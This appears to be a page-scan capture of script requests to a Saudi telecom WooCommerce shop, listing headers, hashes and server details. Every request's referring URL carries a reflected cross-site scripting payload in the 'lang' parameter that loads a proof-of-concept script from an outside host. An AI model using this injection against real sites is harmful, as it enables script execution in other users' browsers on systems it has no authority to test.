95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
7744d3d4f8712a85f3a4e9f719649c3a7dca88664c17384a5b3d9dca0d91150b
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"54d6-5ce382a0900aa-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
6160
X-Xss-Protection
1; mode=block
slick.js
self.sa.zain.com/new/wp-content/plugins/woocommerce-aps/public/js/ 		70 KB
15 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/woocommerce-aps/public/js/slick.js?ver=2.2.2
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
547f04af06cddd87583418395c5819021eadb0a57cc713820ee61194efcbe06b
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"118f6-6036f08fc7e22-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
14654
X-Xss-Protection
1; mode=block
aps-main.js
self.sa.zain.com/new/wp-content/plugins/woocommerce-aps/public/js/ 		477 B
907 B 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/woocommerce-aps/public/js/aps-main.js?ver=2.2.2
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
9e40ace53b976a60350cc90f389f140fa79fa1ec5f649b75f9fee1bffca582ee
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"1dd-6036f08fc7e22-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
280
X-Xss-Protection
1; mode=block
aps-checkout.js
self.sa.zain.com/new/wp-content/plugins/woocommerce-aps/public/js/ 		45 KB
7 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/woocommerce-aps/public/js/aps-checkout.js?ver=2.2.2
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
b4347cb77d6e6ee9011f2f18569246fc253174d905fb7ade3a839b05bcb434ae
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"b29c-6036f08fc7e22-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
6877
X-Xss-Protection
1; mode=block
jquery.blockUI.min.js
self.sa.zain.com/new/wp-content/plugins/woocommerce/assets/js/jquery-blockui/ 		9 KB
4 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?ver=2.70
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
b49498d1142de7f2e16afc2cd4250d2ba30c5df4de5d291f51d7cf69727efdbe
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"2549-6036f08f9bb1a-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
3491
X-Xss-Protection
1; mode=block
add-to-cart.min.js
self.sa.zain.com/new/wp-content/plugins/woocommerce/assets/js/frontend/ 		3 KB
2 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=5.4.4
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
8634aa7a3ac0bc6d359b458c8922e9d3269f64c1355b329bfe215beb12773af8
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"bdd-6036f08f9b732-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
1086
X-Xss-Protection
1; mode=block
js.cookie.min.js
self.sa.zain.com/new/wp-content/plugins/woocommerce/assets/js/js-cookie/ 		2 KB
2 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
3b1384ff918d4b7f95f9ee5c8fc388203dedff7344d3d96598c9562162788612
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"72a-6036f08f9bf02-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
982
X-Xss-Protection
1; mode=block
woocommerce.min.js
self.sa.zain.com/new/wp-content/plugins/woocommerce/assets/js/frontend/ 		2 KB
1 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=5.4.4
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
a256fccecac3b32ab73c91d79a18747519a1a18023be05465c933b03523a82e8
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"85b-6036f08f9bb1a-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
794
X-Xss-Protection
1; mode=block
cart-fragments.min.js
self.sa.zain.com/new/wp-content/plugins/woocommerce/assets/js/frontend/ 		3 KB
2 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=5.4.4
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
9c7c023f91428234ca0ea4df1199758686f4dcd04da96ba63571788fb3389c0b
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"b7a-6036f08f9b732-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
1039
X-Xss-Protection
1; mode=block
modernizr.min.js
self.sa.zain.com/new/wp-content/themes/savoy/assets/js/plugins/ 		3 KB
2 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/savoy/assets/js/plugins/modernizr.min.js?ver=2.8.3
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
2c766aa3c79a45de31e1d55c25ebea682c1138e9029be4a2de3f52aa7f0dbbf4
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"d01-5ce382a088b7a-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
1576
X-Xss-Protection
1; mode=block
slick.min.js
self.sa.zain.com/new/wp-content/themes/savoy/assets/js/plugins/ 		36 KB
9 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/savoy/assets/js/plugins/slick.min.js?ver=1.5.5
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
21b8a788be3b5750a416db298f10052985f72df78861746b134d8537dbdf341a
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"8ef1-5ce382a088f62-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
8738
X-Xss-Protection
1; mode=block
jquery.magnific-popup.min.js
self.sa.zain.com/new/wp-content/themes/savoy/assets/js/plugins/ 		21 KB
8 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/savoy/assets/js/plugins/jquery.magnific-popup.min.js?ver=0.9.9
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
ecbef0f33e8ccedd2c605816e052cfff778abcc0e30a80b874c097a5fddd24fc
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"5297-5ce382a088b7a-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
7687
X-Xss-Protection
1; mode=block
nm-blog.min.js
self.sa.zain.com/new/wp-content/themes/savoy/assets/js/ 		2 KB
1 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/savoy/assets/js/nm-blog.min.js?ver=2.5.9
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
a268327b01c56d53436e3d9eac8be0573c75be757d973bfc4f3fcaed9bfb131b
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"82c-5ce382a088792-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
843
X-Xss-Protection
1; mode=block
nm-shop-search.min.js
self.sa.zain.com/new/wp-content/themes/savoy/assets/js/ 		7 KB
3 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/savoy/assets/js/nm-shop-search.min.js?ver=2.5.9
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
c99cd561edfdb05ba2249ed8ee2365383d4d74959878495452510123427468dd
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"1c05-5ce382a088b7a-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
2182
X-Xss-Protection
1; mode=block
front-scripts.min.js
self.sa.zain.com/new/wp-content/plugins/woocommerce-multilingual/res/js/ 		344 B
853 B 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/woocommerce-multilingual/res/js/front-scripts.min.js?ver=5.0.2
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
5550f904be1dd8825d113db685b9c92507fa0087d414c6a1f64852d62758c0c4
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"158-6036f08fd2a02-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
226
X-Xss-Protection
1; mode=block
cart_widget.min.js
self.sa.zain.com/new/wp-content/plugins/woocommerce-multilingual/res/js/ 		364 B
850 B 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/woocommerce-multilingual/res/js/cart_widget.min.js?ver=5.0.2
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
00b55d4c2f81b6b53aa944b364b81ac1e1a3a4f3e94818b14eb270e5f156f24b
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
